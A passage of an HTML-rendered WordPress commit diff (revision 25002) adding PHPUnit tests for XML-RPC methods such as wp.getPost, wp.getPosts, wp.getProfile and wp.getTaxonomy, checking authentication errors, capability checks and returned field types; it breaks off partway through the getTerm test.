<span class="info">--- trunk/tests/tests/xmlrpc/wp/getPost.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getPost.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,145 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPost extends WP_XMLRPC_UnitTestCase {
+       var $post_data;
+       var $post_id;
+       var $post_date_ts;
+       var $post_custom_field;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->post_date_ts = strtotime( '+1 day' );
+               $this->post_data = array(
+                       'post_title' => rand_str(),
+                       'post_content' => rand_str( 2000 ),
+                       'post_excerpt' => rand_str( 100 ),
+                       'post_author' => $this->make_user_by_role( 'author' ),
+                       'post_date'  => strftime( "%Y-%m-%d %H:%M:%S", $this->post_date_ts ),
+               );
+               $this->post_id = wp_insert_post( $this->post_data );
+               $this->post_custom_field = array( 'key' => 'test_custom_field', 'value' => 12345678);
+               $this->post_custom_field['id'] = add_post_meta( $this->post_id, $this->post_custom_field['key'], $this->post_custom_field['value'] );
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getPost( array( 1, 'username', 'password', 1 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_valid_post() {
+               add_theme_support( 'post-thumbnails' );
+
+               $fields = array( 'post', 'custom_fields' );
+               $result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $this->post_id, $fields ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // Check data types
+               $this->assertInternalType( 'string', $result['post_id'] );
+               $this->assertInternalType( 'string', $result['post_title'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['post_date'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['post_date_gmt'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['post_modified'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['post_modified_gmt'] );
+               $this->assertInternalType( 'string', $result['post_status'] );
+               $this->assertInternalType( 'string', $result['post_type'] );
+               $this->assertInternalType( 'string', $result['post_name'] );
+               $this->assertInternalType( 'string', $result['post_author'] );
+               $this->assertInternalType( 'string', $result['post_password'] );
+               $this->assertInternalType( 'string', $result['post_excerpt'] );
+               $this->assertInternalType( 'string', $result['post_content'] );
+               $this->assertInternalType( 'string', $result['link'] );
+               $this->assertInternalType( 'string', $result['comment_status'] );
+               $this->assertInternalType( 'string', $result['ping_status'] );
+               $this->assertInternalType( 'bool', $result['sticky'] );
+               $this->assertInternalType( 'string', $result['post_format'] );
+               $this->assertInternalType( 'array', $result['post_thumbnail'] );
+               $this->assertInternalType( 'array', $result['custom_fields'] );
+
+               // Check expected values
+               $this->assertStringMatchesFormat( '%d', $result['post_id'] );
+               $this->assertEquals( $this->post_data['post_title'], $result['post_title'] );
+               $this->assertEquals( 'draft', $result['post_status'] );
+               $this->assertEquals( 'post', $result['post_type'] );
+               $this->assertStringMatchesFormat( '%d', $result['post_author'] );
+               $this->assertEquals( $this->post_data['post_excerpt'], $result['post_excerpt'] );
+               $this->assertEquals( $this->post_data['post_content'], $result['post_content'] );
+               $this->assertEquals( url_to_postid( $result['link'] ), $this->post_id );
+               $this->assertEquals( $this->post_custom_field['id'], $result['custom_fields'][0]['id'] );
+               $this->assertEquals( $this->post_custom_field['key'], $result['custom_fields'][0]['key'] );
+               $this->assertEquals( $this->post_custom_field['value'], $result['custom_fields'][0]['value'] );
+
+               remove_theme_support( 'post-thumbnails' );
+       }
+
+       function test_no_fields() {
+               $fields = array();
+               $result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $this->post_id, $fields ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // when no fields are requested, only the IDs should be returned
+               $this->assertEquals( 1, count( $result ) );
+               $this->assertEquals( array( 'post_id' ), array_keys( $result ) );
+       }
+
+       function test_default_fields() {
+               $result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $this->post_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $this->assertArrayHasKey( 'post_id', $result );
+               $this->assertArrayHasKey( 'link', $result ); // random field from 'posts' group
+               $this->assertArrayHasKey( 'terms', $result );
+               $this->assertArrayHasKey( 'custom_fields', $result );
+       }
+
+       function test_date() {
+               $fields = array( 'post' );
+               $result = $this->myxmlrpcserver->wp_getPost( array( 1, 'author', 'author', $this->post_id, $fields ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $this->assertInstanceOf( 'IXR_Date', $result['post_date'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['post_date_gmt'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['post_modified'] );
+               $this->assertInstanceOf( 'IXR_Date', $result['post_modified_gmt'] );
+
+               $this->assertEquals( $this->post_date_ts, $result['post_date']->getTimestamp() );
+               $this->assertEquals( $this->post_date_ts, $result['post_modified']->getTimestamp() );
+
+               $post_date_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+               $post_modified_gmt = strtotime( get_gmt_from_date( mysql2date( 'Y-m-d H:i:s', $this->post_data['post_date'], false ), 'Ymd\TH:i:s' ) );
+
+               $this->assertEquals( $post_date_gmt, $result['post_date_gmt']->getTimestamp() );
+               $this->assertEquals( $post_modified_gmt, $result['post_modified_gmt']->getTimestamp() );
+       }
+
+       /**
+        * @ticket 21308
+        */
+       function test_valid_page() {
+               $this->make_user_by_role( 'editor' );
+
+               $parent_page_id = $this->factory->post->create( array( 'post_type' => 'page' ) );
+               $child_page_id = $this->factory->post->create( array(
+                       'post_type' => 'page',
+                       'post_parent' => $parent_page_id,
+                       'menu_order' => 2
+               ) );
+
+               $result = $this->myxmlrpcserver->wp_getPost( array( 1, 'editor', 'editor', $child_page_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               $this->assertInternalType( 'string', $result['post_id'] );
+               $this->assertInternalType( 'string', $result['post_parent'] );
+               $this->assertInternalType( 'int', $result['menu_order'] );
+               $this->assertInternalType( 'string', $result['guid'] );
+               $this->assertInternalType( 'string', $result['post_mime_type'] );
+
+               $this->assertEquals( 'page', $result['post_type'] );
+               $this->assertEquals( $parent_page_id, $result['post_parent'] );
+               $this->assertEquals( 2, $result['menu_order'] );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetPostTypephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getPostType.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getPostType.php                              (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getPostType.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,132 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPostType extends WP_XMLRPC_UnitTestCase {
+       var $cpt_name;
+       var $cpt_args;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->cpt_name = 'post_type_test';
+               $this->cpt_args = array(
+                       'public' => false,
+                       'show_ui' => true,
+                       'show_in_menu' => true,
+                       'menu_position' => 7,
+                       'menu_icon' => 'cpt_icon.png',
+                       'taxonomies' => array( 'category', 'post_tag' ),
+                       'hierarchical' => true
+               );
+               register_post_type( $this->cpt_name, $this->cpt_args );
+       }
+
+       function tearDown() {
+               _unregister_post_type( $this->cpt_name );
+
+               parent::tearDown();
+       }
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'username', 'password', 'post' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_invalid_post_type_name() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'editor', 'editor', 'foobar' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_valid_post_type_name() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'editor', 'editor', 'post' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'subscriber', 'subscriber', 'post' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_valid_type() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPostType( array( 1, 'editor', 'editor', $this->cpt_name, array( 'labels', 'cap', 'menu', 'taxonomies' ) ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+
+               // check data types
+               $this->assertInternalType( 'string', $result['name'] );
+               $this->assertInternalType( 'string', $result['label'] );
+               $this->assertInternalType( 'bool', $result['hierarchical'] );
+               $this->assertInternalType( 'bool', $result['public'] );
+               $this->assertInternalType( 'bool', $result['_builtin'] );
+               $this->assertInternalType( 'bool', $result['map_meta_cap'] );
+               $this->assertInternalType( 'bool', $result['has_archive'] );
+               $this->assertInternalType( 'bool', $result['show_ui'] );
+               $this->assertInternalType( 'int', $result['menu_position'] );
+               $this->assertInternalType( 'string', $result['menu_icon'] );
+               $this->assertInternalType( 'array', $result['labels'] );
+               $this->assertInternalType( 'array', $result['cap'] );
+               $this->assertInternalType( 'array', $result['taxonomies'] );
+               $this->assertInternalType( 'array', $result['supports'] );
+
+               // check label data types
+               $this->assertInternalType( 'string', $result['labels']['name'] );
+               $this->assertInternalType( 'string', $result['labels']['singular_name'] );
+               $this->assertInternalType( 'string', $result['labels']['add_new'] );
+               $this->assertInternalType( 'string', $result['labels']['add_new_item'] );
+               $this->assertInternalType( 'string', $result['labels']['edit_item'] );
+               $this->assertInternalType( 'string', $result['labels']['new_item'] );
+               $this->assertInternalType( 'string', $result['labels']['view_item'] );
+               $this->assertInternalType( 'string', $result['labels']['search_items'] );
+               $this->assertInternalType( 'string', $result['labels']['not_found'] );
+               $this->assertInternalType( 'string', $result['labels']['not_found_in_trash'] );
+               $this->assertInternalType( 'string', $result['labels']['parent_item_colon'] );
+               $this->assertInternalType( 'string', $result['labels']['all_items'] );
+               $this->assertInternalType( 'string', $result['labels']['menu_name'] );
+               $this->assertInternalType( 'string', $result['labels']['name_admin_bar'] );
+
+               // check cap data types
+               $this->assertInternalType( 'string', $result['cap']['edit_post'] );
+               $this->assertInternalType( 'string', $result['cap']['read_post'] );
+               $this->assertInternalType( 'string', $result['cap']['delete_post'] );
+               $this->assertInternalType( 'string', $result['cap']['edit_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['edit_others_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['publish_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['read_private_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['read'] );
+               $this->assertInternalType( 'string', $result['cap']['delete_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['delete_private_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['delete_published_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['delete_others_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['edit_private_posts'] );
+               $this->assertInternalType( 'string', $result['cap']['edit_published_posts'] );
+
+               // check taxonomy data types
+               foreach ( $result['taxonomies'] as $taxonomy ) {
+                       $this->assertInternalType( 'string', $taxonomy );
+               }
+
+               // check taxonomy data types
+               foreach ( $result['supports'] as $key => $value ) {
+                       $this->assertInternalType( 'string', $key );
+                       $this->assertInternalType( 'bool', $value );
+               }
+
+               // Check expected values
+               $this->assertEquals( $this->cpt_name, $result['name'] );
+               foreach ( $this->cpt_args as $key => $value ) {
+                       $this->assertEquals( $value, $result[$key] );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetPostTypesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getPostTypes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getPostTypes.php                             (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getPostTypes.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,43 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPostTypes extends WP_XMLRPC_UnitTestCase {
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getPostTypes( array( 1, 'username', 'password', 'post' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getPostTypes( array( 1, 'subscriber', 'subscriber' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertEquals( 0, count( $result ) );
+       }
+
+       function test_capable_user() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPostTypes( array( 1, 'editor', 'editor' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertInternalType( 'array', $result );
+               $this->assertGreaterThan( 0, count( $result ) );
+       }
+
+       function test_simple_filter() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPostTypes( array( 1, 'editor', 'editor', array( 'hierarchical' => true ) ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertInternalType( 'array', $result );
+
+               // verify that pages is in the result, and post is not
+               $result_names = wp_list_pluck( $result, 'name' );
+               $this->assertContains( 'page', $result_names );
+               $this->assertNotContains( 'post', $result_names );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetPostsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getPosts.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getPosts.php                         (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getPosts.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,153 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getPosts extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       /**
+        * @ticket 20991
+        */
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'subscriber', 'subscriber' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+
+               $filter = array( 'post_type' => 'page' );
+               $result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'subscriber', 'subscriber', $filter ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_user() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_invalid_post_type() {
+               $this->make_user_by_role( 'editor' );
+
+               $filter = array( 'post_type' => 'invalid_post_type_name' );
+               $result = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_filters() {
+               $this->make_user_by_role( 'editor' );
+
+               $cpt_name = 'test_wp_getposts_cpt';
+               register_post_type( $cpt_name, array(
+                       'taxonomies' => array( 'post_tag', 'category' ),
+                       'public' => true
+               ));
+
+               $num_posts = 17;
+               $post_ids = $this->factory->post->create_many( $num_posts, array( 'post_type' => $cpt_name ) );
+
+               // get them all
+               $filter = array( 'post_type' => $cpt_name, 'number' => $num_posts + 10 );
+               $results = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+               $this->assertEquals( $num_posts, count( $results ) );
+
+               // page through results
+               $posts_found = array();
+               $filter['number'] = 5;
+               $filter['offset'] = 0;
+               do {
+                       $presults = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+                       foreach( $presults as $post ) {
+                               $posts_found[] = $post['post_id'];
+                       }
+                       $filter['offset'] += $filter['number'];
+               } while ( count( $presults ) > 0 );
+               // verify that $post_ids matches $posts_found
+               $this->assertEquals( 0, count( array_diff( $post_ids, $posts_found ) ) );
+
+               // add comments to some of the posts
+               $random_posts = array_rand( $post_ids, $num_posts / 2 );
+               foreach ( $random_posts as $i ) {
+                       $post = $post_ids[$i];
+                       $this->factory->comment->create_post_comments( $post, rand( 1, 20 ) );
+               }
+
+               // get results ordered by comment count
+               $filter2 = array( 'post_type' => $cpt_name, 'number' => $num_posts, 'orderby' => 'comment_count', 'order' => 'DESC' );
+               $results2 = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter2 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results2 );
+               $last_comment_count = 100;
+               foreach ( $results2 as $post ) {
+                       $comment_count = intval( get_comments_number( $post['post_id'] ) );
+                       $this->assertLessThanOrEqual( $last_comment_count, $comment_count );
+                       $last_comment_count = $comment_count;
+               }
+
+               // set one of the posts to draft and get drafts
+               $post = get_post( $post_ids[$random_posts[0]] );
+               $post->post_status = 'draft';
+               wp_update_post( $post );
+               $filter3 = array( 'post_type' => $cpt_name, 'post_status' => 'draft' );
+               $results3 = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter3 ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results3 );
+               $this->assertEquals( 1, count( $results3 ) );
+               $this->assertEquals( $post->ID, $results3[0]['post_id'] );
+
+               _unregister_post_type( $cpt_name );
+       }
+
+       function test_fields() {
+               $this->make_user_by_role( 'editor' );
+               $this->factory->post->create();
+
+               // check default fields
+               $results = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+               $expected_fields = array( 'post_id', 'post_title', 'terms', 'custom_fields', 'link' ); // subset of expected fields
+               foreach( $expected_fields as $field ) {
+                       $this->assertArrayHasKey( $field, $results[0] );
+               }
+
+               // request specific fields and verify that only those are returned
+               $filter = array();
+               $fields = array( 'post_name', 'post_author', 'enclosure' );
+               $results2 = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter, $fields ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results2 );
+               $expected_fields = array_merge( $fields, array( 'post_id' ) );
+               foreach ( array_keys( $results2[0] ) as $field ) {
+                       $this->assertContains( $field, $expected_fields );
+               }
+       }
+
+       /**
+        * @ticket 21623
+        */
+       function test_search() {
+               $this->make_user_by_role( 'editor' );
+
+               $post_ids[] = $this->factory->post->create( array( 'post_title' => 'First: ' . rand_str() ) );
+               $post_ids[] = $this->factory->post->create( array( 'post_title' => 'Second: ' . rand_str() ) );
+
+               // Search for none of them
+               $filter = array( 's' => rand_str() );
+               $results = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+               $this->assertEquals( 0, count( $results ) );
+
+               // Search for one of them
+               $filter = array( 's' => 'First:' );
+               $results = $this->myxmlrpcserver->wp_getPosts( array( 1, 'editor', 'editor', $filter ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $results );
+               $this->assertEquals( 1, count( $results ) );
+       }
+
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetProfilephp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getProfile.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getProfile.php                               (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getProfile.php  2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,45 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ * @group user
+ */
+class Tests_XMLRPC_wp_getProfile extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getProfile( array( 1, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_subscriber() {
+               $subscriber_id = $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getProfile( array( 1, 'subscriber', 'subscriber' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $subscriber_id, $result['user_id'] );
+               $this->assertContains( 'subscriber', $result['roles'] );
+       }
+
+       function test_administrator() {
+               $administrator_id = $this->make_user_by_role( 'administrator' );
+
+               $result = $this->myxmlrpcserver->wp_getProfile( array( 1, 'administrator', 'administrator' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $administrator_id, $result['user_id'] );
+               $this->assertContains( 'administrator', $result['roles'] );
+       }
+
+       function test_arbitrary_fields() {
+               $editor_id = $this->make_user_by_role( 'editor' );
+
+               $fields = array( 'email', 'bio', 'user_contacts' );
+
+               $result = $this->myxmlrpcserver->wp_getProfile( array( 1, 'editor', 'editor', $fields ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( $editor_id, $result['user_id'] );
+
+               $expected_fields = array_merge( array( 'user_id' ), $fields );
+               $this->assertEquals( sort( $expected_fields ), sort( array_keys( $result ) ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetRevisionsphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getRevisions.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getRevisions.php                             (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getRevisions.php        2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,64 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getRevisions extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'username', 'password', 0 ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $post_id = $this->factory->post->create();
+
+               $result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'subscriber', 'subscriber', $post_id ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+       }
+
+       function test_capable_user() {
+               $this->make_user_by_role( 'editor' );
+
+               $post_id = $this->factory->post->create();
+               $result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'editor', 'editor', $post_id ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_revision_count() {
+               $this->make_user_by_role( 'editor' );
+
+               $post_id = $this->factory->post->create();
+               wp_insert_post( array( 'ID' => $post_id, 'post_content' => 'Edit 1' ) ); // Create the initial revision
+
+               $result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'editor', 'editor', $post_id ) );
+               $this->assertInternalType( 'array', $result );
+               $this->assertCount( 1, $result );
+
+               wp_insert_post( array( 'ID' => $post_id, 'post_content' => 'Edit 2' ) );
+
+               $result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'editor', 'editor', $post_id ) );
+               $this->assertInternalType( 'array', $result );
+               $this->assertCount( 2, $result );
+       }
+
+       /**
+        * @ticket 22687
+        */
+       function test_revision_count_for_auto_draft_post_creation() {
+               $this->make_user_by_role( 'editor' );
+
+               $post_id = $this->myxmlrpcserver->wp_newPost( array( 1, 'editor', 'editor', array(
+                       'post_title' => 'Original title',
+                       'post_content' => 'Test'
+               ) ) );
+
+               $result = $this->myxmlrpcserver->wp_getRevisions( array( 1, 'editor', 'editor', $post_id ) );
+               $this->assertCount( 1, $result );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetTaxonomiesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getTaxonomies.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getTaxonomies.php                            (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getTaxonomies.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,20 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getTaxonomies extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getTaxonomies( array( 1, 'username', 'password' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_taxonomy_validated() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTaxonomies( array( 1, 'editor', 'editor' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetTaxonomyphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getTaxonomy.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getTaxonomy.php                              (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getTaxonomy.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,63 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getTaxonomy extends WP_XMLRPC_UnitTestCase {
+
+       function test_invalid_username_password() {
+               $result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'username', 'password', 'category' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+       }
+
+       function test_empty_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'editor', 'editor', '' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_invalid_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'editor', 'editor', 'not_existing' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 403, $result->code );
+               $this->assertEquals( __( 'Invalid taxonomy' ), $result->message );
+       }
+
+       function test_incapable_user() {
+               $this->make_user_by_role( 'subscriber' );
+
+               $result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'subscriber', 'subscriber', 'category' ) );
+               $this->assertInstanceOf( 'IXR_Error', $result );
+               $this->assertEquals( 401, $result->code );
+               $this->assertEquals( __( 'You are not allowed to assign terms in this taxonomy.' ), $result->message );
+       }
+
+       function test_taxonomy_validated() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'editor', 'editor', 'category' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+       }
+
+       function test_prepare_taxonomy() {
+               $this->make_user_by_role( 'editor' );
+
+               $result = $this->myxmlrpcserver->wp_getTaxonomy( array( 1, 'editor', 'editor', 'category' ) );
+               $this->assertNotInstanceOf( 'IXR_Error', $result );
+               $taxonomy = get_taxonomy( 'category' );
+               $this->assertEquals( 'category', $result['name'], 'name' );
+               $this->assertEquals( true, $result['_builtin'], '_builtin' );
+               $this->assertEquals( $taxonomy->show_ui, $result['show_ui'], 'show_ui' );
+               $this->assertEquals( $taxonomy->public, $result['public'], 'public' );
+               $this->assertEquals( $taxonomy->hierarchical, $result['hierarchical'], 'hierarchical' );
+               $this->assertEquals( (array) $taxonomy->labels, $result['labels'], 'labels' );
+               $this->assertEquals( (array) $taxonomy->cap, $result['cap'], 'capabilities' );
+               $this->assertEquals( (array) $taxonomy->object_type, $result['object_type'], 'object_types' );
+       }
+}
</ins><span class="cx">\ No newline at end of file
</span></span></pre></div>
<a id="trunkteststestsxmlrpcwpgetTermphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/xmlrpc/wp/getTerm.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/xmlrpc/wp/getTerm.php                          (rev 0)
+++ trunk/tests/tests/xmlrpc/wp/getTerm.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,98 @@
</span><ins>+<?php
+
+/**
+ * @group xmlrpc
+ */
+class Tests_XMLRPC_wp_getTerm extends WP_XMLRPC_UnitTestCase {
+       var $term;
+
+       function setUp() {
+               parent::setUp();
+
+               $this->term = wp_insert_term( 'term' . rand_str() , 'category' );
